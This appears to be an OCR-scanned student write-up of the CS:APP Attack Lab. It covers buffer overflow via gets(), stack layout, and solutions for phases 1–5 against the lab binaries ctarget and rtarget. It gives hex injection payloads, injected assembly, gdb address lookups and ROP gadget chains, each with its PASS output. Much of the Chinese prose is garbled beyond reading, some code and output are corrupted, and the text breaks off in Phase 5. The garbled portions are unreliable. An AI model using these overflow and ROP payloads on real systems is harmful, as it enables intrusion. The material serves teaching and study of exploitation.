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exec format error

EFMacOSi#1 7L

FMAEE

F O

FHgadgetl

Sk gadget2
SRR

NonEO

LI E ik
B HEOIRIR S 8 8 503

OESXTHRASIBMHTEERFNE, MESSHZENRTES BINFRFNFEFRENRDOMIL) &7
BEKRH, XRMPERESE—EMESITENREFER, WEANKATZNERESWAFEERPIVRE
B, SREFERXTHIRLIEENRMBFEFRINT ret LN, MELIMRTENHER.

BN A BRFT AR B AY 22 BRAY 22 0 X 33 i (buffer overflow): FEEEANS F 28N IZFIZIHERE, @IEFMAZET
XEANEZBEHNNE (BEERBIEPXERTFNHEAMIEENEIR) , MNTBHRERIET. &P ZRHIR
R T E R R RIRHI,

BRI RNERR:

o FEIRPEANIEFIRIT.
o ﬁHEGEE,T@E@ LS NES S EMEITHANERHRERXIRNFNE, BN ERE.
CESPRNCTLEETAER —LIFEERNRERL, ERAHERE SRS,

TS LB B4 T I Z AR -

1 /* Implementation of library function gets() */
2 char *gets(char *s)

3| {

4 int c;

5 char *dest = s;

6 while ((c = getcharO) != '\n' && c != EOF)
7 *dest++ = c;

8 if (c == EOF && dest == s)

9 /* No characters read */

10 return NULL;

11 *dest++ = '\0"';

12 /* Terminate string */

13 return s;

14 |}


https://zh.wikipedia.org/wiki/%E9%9B%BB%E8%85%A6%E5%AD%B8
https://zh.wikipedia.org/wiki/%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1
https://zh.wikipedia.org/wiki/%E7%BC%93%E5%86%B2%E5%8C%BA
https://zh.wikipedia.org/wiki/%E7%A8%8B%E5%BA%8F%E9%94%99%E8%AF%AF
https://zh.wikipedia.org/wiki/C%E8%AF%AD%E8%A8%80
https://zh.wikipedia.org/wiki/%E9%AB%98%E7%BA%A7%E8%AF%AD%E8%A8%80
https://zh.wikipedia.org/wiki/%E8%BE%B9%E7%95%8C%E6%A3%80%E6%9F%A5
https://zh.wikipedia.org/wiki/C%E6%A0%87%E5%87%86%E5%BA%93

16 /* Read input line and write it back */
17 void echo()

18 | {

19 char buf[8]; /* Way too small! */
20 gets(buf);

21 puts (buf);

22}

RIEIAIACRBL T FERR 2 gets AY—1SEIR, FRSKIRARIXPERENRY ™ Ea)RE,

gets FERINIEA—IT, HBR—TEERITFAFRETHERFERANELE, ERXTFHEEHZSH s 18
BAE, HEFRHBRERMLE null R/, ERE echo A, HIVERAT gets, BRMMITERMAFIEN—IT,
BECOXRnERL. gets NRARERAMEMERDNFRFRENFNEIE T EBRIZE, £ echo F,
ZPXHANRE 8 TFN, MMATARITHEN, FAUKEBT 7 T FRNFHEHZSHEHBA,

BB EE R CREABERIOELMIER,

1 echo:

2 subg $24, %rsp Allocate 24 bytes on stack
3 movqg %rsp, %rdi Compute buf as %rsp

4 call gets

5 movq %rsp, %rdi Compute buf as %rsp

6 call puts

7 addg $24, %rsp Deallocate stack space

8 ret

BTME, BTHREERISE TAR.

C [
iﬂﬂ}ﬂ%< I
AR DR | |
4 o ﬁ[f’]_{tﬁ@!:_ﬂ_A_]@%rsp +24
echo
R |
L ((73feedesafr4a]e3)r21]111[(0]|«—Dbuf = $rsp

BITHRER, BFEREHEET 24(F217) , ERLDET 24 MFT. FRAKA but (ITH%I, AJUE
2, srsp WEHR rai, fFHEM gets M puts IS, FUEME, FJNRKIE 16 FHEARABERN (1t
SHRTEPPTHRME D AFHITRR, BSL) .

REAPHATET 7 TFN, gets RENFNE (BELER null) FEEBKEN but DERIZITX,



M THNEEE, BANFHEMEZSN gets BEK LEFMHENELEES.

ZENTEX:
i A B 71T Bkt B im &Y 8 i AR A R &
0~7 x
9~23 A AR 2 (A]
24~31 12 [9] 4B bt
32+ caller P RFHIRE

FRBE 23 PMFERFZAHRETENGER, E2BENE, REEHNEMMRESARENREFIRSE K
. WRTFAERNROIHNAVERIKIR T, B4 ret IR 8 MESHEFIEI — M ZE2REAZNOME, XM
EASLIRRIE,

yidun): 0] it
mIZIESHNER

LA C/C++ BRITRORIZES, ENASRIEPEENTNE, S2REZRENATERZIBBAFHET
BIRETN, CRBRHENERIFKE LG ENBEAFEMAED PFILE; BEER, EMNESAEPXHN
HEREEZREPXNLRA. fhE CH+ ERE T ITFSREEPEIRNE, FH G+ BRERERESTL) ZH- T
Bax, NRBFATEHOHENENFRANE, IEFHJOEEEHIITAFGE., FMl, vector RIALGIR
Hat () PTILFREHME out_of range REMRDFERM., BE, NRRENFHDFIOE, C++ 01T
& C,

BRB A AR FEEZIFRNEFNIES (5120 COBOL. Java. Python %) EARZEIER FaIfhlE R4S X G
. C/C++ DIMITFZRIBIESHTRMEETHGE, ERLHERTEZRMFEZNQE, 5 CF C++ BEIEH
PJEFTH—DIETHIRFERERN, XAUERRKXESNS|IARE XN AIEIARSHEFRR. L
E=HRBIEEAda, Eiffel, Lisp. Modula-2, Smalltalk, OCamlIX&iEMNCyclone. Rust 22 C £7E4F
d, 7EfYjavaM.NETIEZEFHIBHIMNELRERRMEMEIINE., N FEMERINESHREALEEPXIELH, MM
RERREXNEIRE NG, BE, I—MESREEBIXEEERMTHANEN, RHE—RATCREAHE
AE. BESREOTIRERFZSERMELRNE, EREENIMMBRNE LR EEFEERE. TRESE
RWMIEE MmiFRIREN, RELIRMOTFRERL S MEEMA Z BIAYINE,

PR

ITHBRIGCCRRAFE T ERIUIBIIAN T — M HRiPE A, QN FX#R, ERBEERMPEABERET
XAMERSZBFE —THEHRNELEEH, EMEFTFRRTSHIMREREZE, BFRERXTELEERTMIX
REB R MR B ZREUARNE MEFENRET .. MREN, BARFREPL,


https://en.wikipedia.org/wiki/Strongly_typed
https://en.wikipedia.org/wiki/Standard_Template_Library
https://en.wikipedia.org/wiki/Exception_handling
https://en.wikipedia.org/wiki/Ada_(programming_language)
https://en.wikipedia.org/wiki/Eiffel_(programming_language)
https://en.wikipedia.org/wiki/Lisp_(programming_language)
https://en.wikipedia.org/wiki/Modula-2
https://en.wikipedia.org/wiki/Smalltalk
https://en.wikipedia.org/wiki/OCaml
https://en.wikipedia.org/wiki/Cyclone_(programming_language)
https://en.wikipedia.org/wiki/Rust_(programming_language)
https://en.wikipedia.org/wiki/D_(programming_language)
https://en.wikipedia.org/wiki/Java_(software_platform)
https://en.wikipedia.org/wiki/.NET_Framework
https://en.wikipedia.org/wiki/Interpreted_programming_language
https://en.wikipedia.org/wiki/Static_code_analysis

ERARZE

ZHXHEHEBME CH CH+ BEHPREN, BERNENTBEFPXNBERR AT AT AERIERENEZE., B
It, »IBEENTEFIXEBNAEPRISSENERERBRETX G, KUK, AMN—ERGERRE
ITIDFOERINNEREREL, 190 gets . scanf #l strepy .

TR

SPRCHE BT REIEH R TE, BIEEMNMENE, PointGuardiIRIVMERRIZFRT B, MUBFILKHEBER
A SEIR(ETR R NN, 125 AN TERIER LR IFFEER R AR B U B EH#HITHERE. MEIEE
W, BTHGEERNERERTAERRE/RIEET, Rt ITANNRBHERSERERMT A,

st = 18] %5 R FEAL L

k== B FBRENLL (ASLR) B — 1Pt EAZEINEE, ©W RAEATERIbIEES (8] R REALHEY | K B AR X A9
B, BESETITXXENENE. EMNERNOUE,

R ERANZE B AN A TF 3t ROBEANL A BT AR R BOR AR R EINEXE, EHIERFIRE, EXRBEREE
BIRAEFBEEI, MM#N T ZERE BAIRE,

S¥ ) =[:8

ERAREHKRh

BEHA R X RRNRER

BEREER, #—FFINAREEMLENER

T BB ESRTIRER RN T IR FENR MR A LM

TERNTRBRDTLEPX i HAERF, REEERNNKEFER
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& gdb, objdump FiFIX TENERTIE

AEIRSIRTTIEF IIEKIERE

Part A
Phase1


https://en.wikipedia.org/wiki/Pointer_(computer_programming)
https://en.wikipedia.org/wiki/Virtual_memory
https://en.wikipedia.org/wiki/Internet_worm

SLI0RIE

phasel 5 EXSEINEAE—E D FAER, ML LIRERNF,

BITIRREE

Y . 9f fouch .
Retun Ads|__; ., | Return Ads Ads o touchdl 5
OA00
7,reh
4_/orgpl
SMUTPUE
{fHA%< objdump -d ctarget > ctarget.d BEIRCHICIE ctarget.d ., B getbuf FEFEU
T
1 00000000004017fe <getbuf>:
2 4017fe: 48 83 ec 28 sub $0x28,%rsp
3 401802: 48 89 e7 mov $rsp, $rdi
4 401805: e8 94 02 00 00 callg 40la%e <Gets>
5 40180a: b8 01 00 00 00 mov $0x1,%eax
6 40180f: 48 83 c4 28 add $0x28,%rsp
7 401813: c3 retqg
8

EHPREANN40(10), BEIOZ28, FIARA0DFT(byte), —PFF/\MEE#(bit), BI2®, W+ ust#T,
28 = 167, @i+ s TRAANE, — P EREIN— 1 F T (byte), 40 NFRIEHS N RREZIEIENN R R
[E1sthdit

& touchl REIE:



0000000000401814 <touchl>:

401814: 48 83 ec 08 sub $0x8,8%rsp
401818: c7 05 da 2c 20 00 01 movl $0x1,0x202cda(%rip) # 6044fc <vlevel>
40181f: 00 00 00
401822: 48 8d 3d a8 19 00 00 1lea 0x19a8(%rip),%rdi # 4031d1
< IO stdin_used+0x301>
401829: e8 92 f4 ff ff callg 400ccO <puts@plt>
40182e: bf 01 00 00 00 mov $0x1,%edi
401833: e8 d6 04 00 00 callg 401d0e <validate>
401838: bf 00 00 00 00 mov $0x0,%edi
40183d: e8 ee f5 ff ff callg 400e30 <exit@plt>

WMBHBNRABREEPXA0TFHRETTE, RGNS TFRIEN touchl FIREMbILENFT, MTIAZIEAN
TGRS, HREFN 1.ext

00 00 00 00 00 00 0O 0O
00 00 00 00 00 0O 00 0O
00 00 00 00 00 0O 00 0O
00 00 00 00 00 00 00 0O
00 00 00 00 00 00 00 0O
14 18 40 00 00 00 00 00

BEELImETU TSRS, MARE:

> ./hex2raw < 1l.txt > l.in;

> ./ctarget -q -i 1l.in

PEEERZREEMD:

cat l.txt | ./hex2raw | ./ctarget -g

LEAbE%EiEEN zsh: exec format error: ./hex2raw iHim, %R T EBIREEGERTIZOIE, E£RS3S
iR, EHM T XEHB=HEE, FRELE0E.

ERELE S

2020012363@hp:~$ cat 1.txt | ./hex2raw | ./ctarget —q
Cookie: 0x2c@de9c4

Type string:Touchl!: You called touchi()

Valid solution for level 1 with target ctarget

PASS: Would have posted the following:

user id NoOne

course 15213-f15

lab attacklab

result 2020012363:PASS:oxffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 18 40 00 00 00 00 00




Phase2
SIS [RIE

TR phasel HIERL £, EH—FSERENSHNE.

MRBAE32{UMNZEBL, WFEKRBRANER, BF32MUEESHEETETERIMN, FIKNRFEBEK return
address LHE{]&EUEJQ

mE64ifles £, AEENNE—SHEELFFHREN, SRIBEER, XTEEEREM call, jmp Fi5
R, WIMRARE ret IELWELHRHELSTFRAVIEMMIE, ret EMAR L3BLIRENEE, FRUATEIR Z BT
1§ touch2 R EH ., MR T THERK:

1. ERESL, B rdi BYfE,
2. 4% touch2 RUMthi EAL/F Y ZIRE],

BLEARTERUFRE-TREFIAPRTES—ERF, ERLANBRARBLIE ctarget A, AME
SSIREME—ED, BANFTERR, JUBEERESRAT getbut BERNSE, MM FRISLIRBERUT:

1. {EICRICAILIM EIATHEE, FAE16HFIIZIENE] getbut FRIANGITHRA.
2. 1828 getbuf AIRENENE, {15 getbuf IREIEZAIANGITHT, HIZR srdi B¥ touch2 it EAN
%, BEEREIENA,

BT mEE
i oo vt om>loo toltMRL]] o touch 2L
[ 0x00 +| 0x00
| |
: (3 00 yo l (390 4o
| Bwaesae [--~o-- 13 waetac

xsSbidas |odegewed | P | od eg cibf
getbuhgps) F P TR ret A2
LI

BtESE touch2 REHIINEE: MEBEANS N val 25 M cookie HEIRZE,



void touch2(unsigned val){

vlievel = 2;

if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);

} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);

}

exit(0);

= O W 00 34 o U B W N =

[

HMEH M cookietl T :

2020012363@hp:~$ ./ctarget -q
Cookie: 0x2c0de9c4

Type string:fsdfsd

No exploit. Getbuf returned 0x1

o s W N

Normal return

B touch2 HUtBLEEN T :

1 0000000000401842 <touch2>:

2 401842: 48 83 ec 08 sub $0x8,%rsp

3 401846: 89 fa mov %edi, sedx

4 401848: c7 05 aa 2c 20 00 02 movl $0x2,0x202caa(%rip) # 6044fc <vlevel>

ZELNRIP D, BEW FINEE:

# phrase2.s
movl $0x2c0de9c4, %edi # {&ifcookie
pushg $0x0000000000401842 # J&touch2ittiltFi%

ret

= W N

RNTHEZHERE, FIA gr+EiEgcclE LR I, BAobjdumpkiCR. ZERZIRSB/BLR
gce, HARECEg++, MmLbRKABgcchlm,



o s W N

=

W 00 ~J o U b W N =

O VW 00O N o U B W N =

2020012363@hp:~$ gcc -c pharse2.s -o 2.0

pharse2.s: Assembler messages:

pharse2.s: Warning: end of file not at end of a line; newline inserted
2020012363@hp:~$ objdump -S 2.0 > phrase2.s

SR T RICHRATD:

pharse2.o: file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
0: bf c4 e9 0d 2c mov $0x2c0de9c4, %edi
5: 68 42 18 40 00 pushg $0x401842
a: c3 retq

B REWMBEN ML EILE, JEEREi%EgetbufiVsE 170 L#T RENFI 2R,

00000000004017fe <getbuf>:
4017fe: 48 83 ec 28 sub $0x28,%rsp
401802: 48 89 e7 mov $rsp, srdi

A FAgdb28401802( I EMMAMTR

2020012363@hp:~$ gdb ctarget

(gdb) b *0x401802

Breakpoint 1 at 0x401802: file buf.c, line 14.
(gdb) run -gq

Starting program: /home/2020012363/ctarget -q
Cookie: 0x2c0de9c4

Breakpoint 1, getbuf () at buf.c:14

(gdb) p S$rsp

$1 = (void *) 0x5566f4a8

BRI TR B N 0x5566f4a8,

LR R, GTFA9IE2.txt:



bf c4 e9 0d 2c¢

68 42 18 40 00

c3

00 00 00 0O

00 00 00 00 0O

00 00 00 00 0O

00 00 00 00 0O

00 00 00 00 0O

00 00 00 00 0O

a8 f4 66 55 00 00 00 00

SEREE D, WER=8DHM:

1. MTHRIRINE S NN Z#FHES
2. FR#MiAY0x00
3. Y&return address{EE A T hiik TNERAY L

AT

cat 2.txt | ./hex2raw | ./ctarget -q

LINER

2020012363@hp:~$ cat 2.txt|./hex2raw|./ctarget —q
Cookie: @x2c@de9c4

Type string:Touch2!: You called touch2(@x2c@de9c4)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:

user id NoOne

course 15213-f15

lab attacklab

result 2020012363:PASS:oxffffffff:ctarget:2:BF C4 E9 0D 2C 68 42 18 40 00
C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 A8 F4 66 55 00 00 00 00

Phase3
SCIGRIE

ARBEKRTE phase2 AT, BENNSEIESCN TIEH . FEILIEFHEQNRNBERLZBRAZTERHEE
X, HEIEENX—AEFEZEMNNUERF, Z2EEEHtouch3d, SLFR_EEE T hexmatchflstrnemp, XBE—EH
FRIEMIFMEgetbuftk BRVEIE, HMMmgetbuffIRATER SMRFEIE. MBI VISEIEFMNEIgetbuf RERAIR
%, thBltestiRENBIMERH, AEURIFER.

KT phase2 , HATEFRLGEFTEINNIBIMFTK:



1. ERER, Bl rdi BW{ENtestiIEHitblt, BAME, Bllgetbuffireturn addressiJiE 75,
2. fFtouch3rIRER L RN,

TEUEEM E, 2t A\getbufISE, BEUWTES:

1. ERFENIBLH T+ FHIE

2. FF4MiIA90x00

3. Yreturn addressf&ER T Hitk TRER A it

4. YEcookief)F BRI E Areturn addressfiJ1E £ 75

BITHRREE
324330396334
:— ------ oo - 55bb}af p rip:- oo - 401342b§ b] — towch 2505k
| |
! Ox00 +— OxO0
|
| C2 oo‘,o I DY —
| oo'}n
, 959 68 5566 --P-u;h--' 959 68 5546
onssbefuat [ THAICICIH Vo [maiaaw
. 4% 3 =
getbu 8] A VTR et B2
BT T a2 3TN EiEcookielX—ACSIFBHI1 638 HIR T,
1 > ipython
2 Python 3.8.8 (default, Apr 13 2021, 12:59:45)
3 Type 'copyright', 'credits' or 'license' for more information
4  IPython 7.22.0 -- An enhanced Interactive Python. Type '?' for help.
5
6 In [l]: import baseé64
7
8 In [2]: s = b"2c0de9c4"
9
10 In [3]: print(f"{baseb64.blb6encode(s)}")

11

b'3263306465396334"

& phase2r, ThItR I H0X5566f4a8, #mreturn addressatthiit ;y0x5566f4d0, #return
address_E /it H0x5566f4d8, FAITHEE/ELLHNEE N cookiel 73R, BBl EN L %edi,



MEK/GE, touch3fERERIhEH0000000000401959,

= w N

0000000000401959 <touch3>:
401959: 53 push $rbx
40195a: 48 89 fb mov ¢rdi, $rbx
40195d: c7 05 95 2b 20 00 03 movl $0x3,0x202b95(%rip)

L, BHMTCHEAE:

= w N

# 3.s
movg $0x5566f4d8, srdi # JFFTFRMEFEMMBIHENAedi
pushg $0x401959 # J§touch3ituilt/Ek

ret

EREGEE 163 HIE:

1  2020012363@hp:~$ gcc -c 3.s -0 3.0
2 3.s: Assembler messages:
3 3.s: Warning: end of file not at end of a line; newline inserted
4 2020012363@hp:~$ objdump -S 3.0 > 3.s
FRA T RCYRRS:
1
2 3.o: file format elf64-x86-64
3
4
5 Disassembly of section .text:
6
7 0000000000000000 <.text>:
8 0: 48 c7 c7 d8 f4 66 55 mov $0x5566£4d8,%rdi
9 7: 68 59 19 40 00 pushg $0x401959
10 c: c3 retq
11

R ERMA, 1REBSLINFIEEDIRR, REWM FRENS:

0 N o0 U W N

48 c7 c7 d8 f4 66 55

68 59 19 40 00

c3 00 00 0O

00 00 00 00 00 00 0O 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 0O 00
a8 f4 66 55 00 00 00 00
32 63 30 64 65 39 63 34

# 6044fc <vlevel>



W BN T E D EMN:

EANFEHITIER TR E#HBIFS

K F0x00 &5 /i

IR Bl 7B 2 A ST getbufik Tiith it
cookieXJ R FRFEHEHIRT

AN =

cat 3.txt | ./hex2raw | ./ctarget -q

A
SCIGZEER

2020012363@hp:~$ cat 3.txt| ./hex2raw | ./ctarget -q
Cookie: 0x2c@de9c4
Type string:Touch3!: You called touch3("2c@de9c4")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id NoOne
course 15213-f15
lab attacklab
result 2020012363:PASS:oxffffffff:ctarget:3:48 C7 C7 D8 F4 66 55 68 59 19 40 00 C3 00 00
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A8 F4 66 55 00 00 00 00
0 64 65 39 63 34

Part B
Phase4
LIS [R IR

SELNEMBE D ROANRIPALE], FABFLEE PR m BT, MBS rtarget>REX T FIFENE :

1. Rt , REBEBLEFHNSREPXBIMUE, MM EEERFIIEAKBNMAE,
2. MAFPHRBKIGIRERNRATNIT. MREFITHEFERETONE, SRMLREIR.

Ftb, X—TH (1R A Return-Oriented Programming 4 rtarget LI, BifiR, STRFLES
NEZ, mEEFRBREphase2fyklg, EIRY, WRERIEEENIELSMREEreturn addressiyiE L7,
FEF A el gEfR R PRV E 1T

MmN ReEFIFrtargetfRAEH EHBNEENTINIELFY, X—3fEFR, 8—/NEABRHRAI—
gadget, EFEESHIEENTIIES, HMUret FE (AAFTEEBLEFITEEE) , #MslAEPXPT—FK
gadgetfgi1T,

FELEEM E, HAAEFELIAIES:

1. FcookieREF AT EFFa3%raxkVig< (@it sLIiF LI i2E5)
2. B%raxRRVEFA%dIBNES

0
3




LR £, &t AgetbufOIREXH, BEWMTEHD:

FAOX00%Miz

tgreturn addressfEE M ITpopq %raxiiithilt (gadget1)
return address_ 7 5 A cookie

E3 LA B A Tmovq %rax %rdits <ttt (gadget2)
4 755 Ntouch2 (Rt

s W=

BITHRTREE
| %5 Ledi
o
i
ds %erox .
retwn a ngm A %rsp
0x00
S kry »
A vERgets Ay B- getbufIB[E))
towhefh towr%E‘J .
MoV '/ ~éx frd; Wovg 7 A L of; (—/'“P
W — Z”P E!‘!WI’JL
.90‘7"0"9 g:ok:‘e
RALATY LA
0x00 0x00
C godget |RRIA] D- godget 22 R
LI
B. Encodings of popg instructions
Operation Register R
$rax | $rcx | $rdx | ¥rbx | $rsp | $rbp | $rsi | $rdi
popq R 58 59 S5a 5b 5c 5d Se 5t




BAERNMBRE L AR, iHEEIEKEIpopg %rdi retiESHNIE, HENHESS5f 3

1 2020012363@hp:~$ objdump -S rtarget> rtarget.s
2  2020012363Q@hp:~$ grep "5f c3" rtarget.s
AMHRKIFLER, MMBNFEIHEN.
EZREEG TG cookielNEZIBL P EIFFEE, MEPEFEFEmMovEIrdiL, STRIRE,
MU%rax a1 EF 7, XERERNBTEZN TRE:
popd %rax

ret

movqg %rax $rdi

=W N

ret

BT T RASH L popghUiRIERIE, EREINNA 63 FINIEAX—ERD B —ERME, ¥ EMERER
2i58R):

1| 58
2  c3
3 48 89 c7 c3

A. Encodings of movq instructions

movg S, D
Source Destination D
S $rax $rcx $rdx $rbx $rsp $rbp $rsi $rdi

$rax | 48 89 c0 | 48 89 cl1 | 48 B89 c2 | 48 89 c3 | 48 B89 c4 | 48 B89 c5 | 48 89 c6 | 48 89 c7
$rcx | 48 89 cB | 48 89 c9 | 48 89 ca | 48 89 cb | 48 89 cc | 48 B9 cd | 48 89 ce | 48 89 cf
$rdx | 48 89 d0 | 48 89 dl | 48 B89 d2 | 48 89 d3 | 48 B89 d4 | 48 89 d5 | 48 89 d6 | 48 89 d7
$rbx | 48 89 dB | 48 89 d9 | 48 89 da | 48 89 db | 48 89 dc | 48 B89 dd | 48 89 de | 48 89 df
$rsp | 48 89 e0 | 48 89 el | 48 B9 e2 | 48 89 e3 | 48 B9 e4 | 48 B89 e5 | 48 89 e6 | 48 89 e7
$rbp | 48 89 eB | 48 89 e9 | 48 B89 ea | 48 89 eb | 48 89 ec | 48 B9 ed | 48 89 ee | 48 B89 ef
$rsi | 48 89 £0 | 48 B9 f1 | 48 89 f2 | 48 89 £3 | 48 B9 £4 | 48 89 f5 | 48 89 f6 | 48 B9 £7
$rdi | 48 89 £8 | 48 B9 f9 | 48 89 fa | 48 89 fb | 48 B9 fc | 48 89 fd | 48 89 fe | 48 B9 ff

T AgrepEil, AEHENRKRER TG IRERI48/MILL, MEFESEGEITERGretisE, XENUEK,
RIRFE T FERONDMELE, thENHE401a18[@E(RE—AI: 0x401a19,

1 2020012363@hp:~$ grep "48 89 c7 c3" rtarget.s
2 401al8: b8 48 89 c7 c3 mov $0xc3c78948, %eax

G4, B popg srax ret NN HFMLAZA0HbHE(HCAEIFEERIEME, (¥R 0)TMERR):

1 00000000004019fc <addval 327>:
2 4019fc: 8d 87 58 90 c3 e0 lea -0x1f3c6fa8(%rdi), seax
3 401a02: c3 retq



PTAE 2Bk = 0x4019feBl A,

£E 7, touch2f9ithiltfg: 0000000000401842, Tmcookiefd{E : 2c0de9c4,

L, BN TFRENEA.

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 0O 0O 0O
fe 19 40 00 00 00 00 0O
c4 e9 0d 2c 00 00 00 00
19 1a 40 00 00 00 00 00
42 18 40 00 00 00 00 0O

BN T RE D AR

FAOx00%Miz

¥&return addressfEe M ITpopq %raxayithit (gadget1)
return address_ 7 5 A cookie

3 EABS A Tmovqg %rax %rdifg < HIthit (gadget2)
£4 £ B Ntouch2 R A0

s W=

AT

cat 4.txt | ./hex2raw | ./ctarget -q

0012363@hp:~$ cat 4.txt|./hex2raw|./rtarget -q
Cookie: 0x2c0@de9c4
Type string:Touch2!: You called touch2(@x2c@de9c4)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id NoOne
course 15213-f15
lab attacklab
result 2020012363:PASS:0xffffffff:rtarget:2:00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
D 2C 00 00 00 00 19 1A 40 00 00 00 00 00 42 18 40 00 0

Phase5

0 00
0 00
0 00

00 00 00 00 00 00 00 00 00
00 00 00 FE 19 40 00 00 00
00 00

00 00 0
00 00 C




SLIGRIE

phase55x AT BEHl A%ttt (S TURRIFIER . HIEFFEMOIME LT RN, X3 srdi, R
[EA touchs K, EABREMMUERRENLN, AANTEERAMNRERSIFRFEEIAIE, REERKTUT
it + (RIS ERES | FAF BRI, TR BANIRBUTIES lea(srdi, srsi, 1), 3rax, iEJygadget0, X
BRI DMEF R R A E M E AR srax

ffgadgetORVEM £, —FRATHELERUT (BB TESTMZENretdES, BESREBMIIEERFR
17, WNEKRFEIAMETIELE) ¢

movq %rsp, %rax, fAgadgeti

movq %rax, %rdi, flhgadget2

pop %rax, mEEEiELL%rax, Migadget3
movl %eax, %edx, fAgagetd

movl %edx, %ecx, fRFgagets

movl %ecx, %esi, lJugaget6

lea (%rdi, %rsi, 1), BlgagetO

movq %rax, %rdi, fiAgaget7

SRR %rdiFfE Rz &S A cookieRy+7 it B
#1Ttouch3

© v o Nou kA WD =

—_

B R ECAB A T ER D19 RL -

K F0x00iE R getbufiy T Hitk

FFEREEIE E S Amovq %rsp, %raxiiithik, flgadgeti
gadget 189 755 Amovq %rax, %rdifgithiit, M Agadget2
gadget2 E 755 \pop %raxiiihiit, #:Agadget3
gadget3 L AENRIEE

fmigE 55 Amovl %eax, %edxHIithilt, #MAgagetd
gadget4 £ 755 Amovl %edx, %ecxfithiit, A gagets
gadget5_E755 Amovl %ecx, %esifgttit, R Agaget6
gadget6 55 Nlea (%rdi, %rsi, 1)R9ithtt, BlgagetO

. gadget0_E75E Amovq %rax, %rdifgihiit, 1 Agaget7

. gadget7 E 755 Atouch3R R aithiit

. touch3R bt 755 A cookiefy+7 il Fi~F &

Nk~ WwWN =

—
N = O ©

BITHRREE



lea (b rdu,%rsi,1) —

jetbuj

cookie |0A%)$

{outh3 # ak,

movq J-ror % rdi

—

movl /202 % 05

mevl Z.20i /, L(A

movl 7, COR, 7 ol

of fset value

pop LTOA

movq %ron Zrdi

AN

P

movq %3P foMaA

Ox0Q

B. Encodings of popq instructions

N

address of cookie string

e oA4R

— 9.oﬁget: §rq-72

V_ 5 idi§ i 1k
old return

address

Operation Register R
$rax | $rcx | $rdx | ¥rbx | $rsp | $rbp | $rsi | $rdi
popgq R 58 59 5a 5b 5¢ 5d S5e 5f
A. Encodings of movq instructions
movg S, D
Source Destination D
S $rax $rcx $rdx $rbx $rsp $rbp $rsi $rdi
$rax | 48 89 c0 | 48 89 c1 | 48 89 c2 | 48 89 c3 | 48 89 c4 | 48 89 c5 | 48 89 c6 | 48 89 c7
$rcx | 48 89 cB | 48 89 c9 | 48 89 ca | 48 B89 cb | 48 89 cc | 48 89 cd | 48 89 ce | 48 B89 cf
$rdx | 48 89 d0 | 48 89 dl | 48 89 d2 | 48 89 d3 | 48 89 d4 | 48 89 d5 | 48 89 de6 | 48 89 d7
$rbx | 48 89 dB | 48 89 d9 | 48 89 da | 48 89 db | 48 89 dc | 48 89 dd | 48 89 de | 48 89 df
$rsp | 48 89 e0 | 48 89 el | 48 89 e2 | 48 B89 e3 | 48 89 ed4 | 48 B89 e5 | 48 89 et | 48 89 e7
$rbp | 48 89 eB | 48 89 e9 | 48 89 ea | 48 89 eb | 48 89 ec | 48 89 ed | 48 89 ee | 48 B89 ef
$rsi | 48 89 £0 | 48 89 f1 | 48 89 f2 | 48 89 £3 | 48 89 £4 | 48 89 f5 | 48 89 f6 | 48 89 f7
$rdi | 48 89 £8 | 48 89 £f9 | 48 89 fa | 48 89 fb | 48 89 fc | 48 89 fd | 48 89 fe | 48 B89 ff




0 N o U1 W N

C. Encodings of mov1 instructions

movl S, D
Source Destination D
S $eax $ecx $edx tebx $esp $ebp $esi tedi

Seax 89 ¢c0 | 89 ¢cl1 |89 c2 |89 c3 |89 c4 |89 ¢c5|189 c6 |89 c7
Secx 89 c8 |89 ¢c9 |89 ca|89 chb |89 cc |89 ¢cd| 89 ce | 89 cf
$edx | 89 d0 | 89 d1 | 89 d2 | 89 d3 | 89 d4 | 89 d5 | 89 d6 | 89 d7
$ebx | 89 dB8 | 89 d9 | 89 da | 89 db | 89 dc | 89 dd | 89 de | 89 df
$esp [ 89 e0 | 89 el | 89 e2 | B9 e3 | 89 e4 | 89 e5 | B9 e6 | B9 e7
$ebp | 89 eB8 | B9 €9 | B9 ea | 89 eb | 89 ec | 89 ed | 89 ee | 89 ef
$esi 89 £f0 | 89 £1 |89 £f2 | 89 £3 |89 £4 | 89 £5 | 89 f6 | 89 £7
$edi 89 £f8 | 89 £9 |89 fa |89 fb | 89 fc | 89 £fd | 89 fe | 89 ff

BARMRELARBES ETERRERSIUNTAFEES:

movg 3rsp, %rax 48 89 el

movqg %rax, %rdi 48 89 c7

popg %rax 58

movl %eax, %edx 89 c2

movl %edx, %ecx 89 dl

movl %ecx, %esi 89 ce

lea (%rdi,%rsi,l),%rax 48 8d 04 37
movqg %rax, %rdi 48 89 c7

DRNERERNT, EFAshelliEL, THRIINgadget:

1 2020012363@hp:~$ grep "48 89 e0" rtarget.s

2 40la4dd: c7 07 48 89 e0 90 movl $0x90e08948, (%rdi)

3 40lae2: b8 48 89 el c3 mov $0xc3e08948, %eax

4 401laf6: b8 48 89 el c7 mov $0xc7e08948, %eax

5 401b0f: 8d 87 48 89 el c2 lea -0x3d1f76b8(%rdi), %eax
6 40217a: 48 89 e0 mov }rsp, srax

/2
8 0000000000401a44 <setval 196>:

9 401ad44: c7 07 48 89 e0 90 movl $0x90e08948, (%rdi)

0 40lada: c3 retq

1 PMgadgetlithlitHox401a46



O VW 0O N o U & W N =

=

w N

10
11
12
13
14
15
16

00 N o U W N

10
11
12
13

2020012363@hp:~$

401all:
401al18:
40lale:
4021b4:

c7 07
b8 48
b8 48
48 89

grep

48
89
89
c7

"48

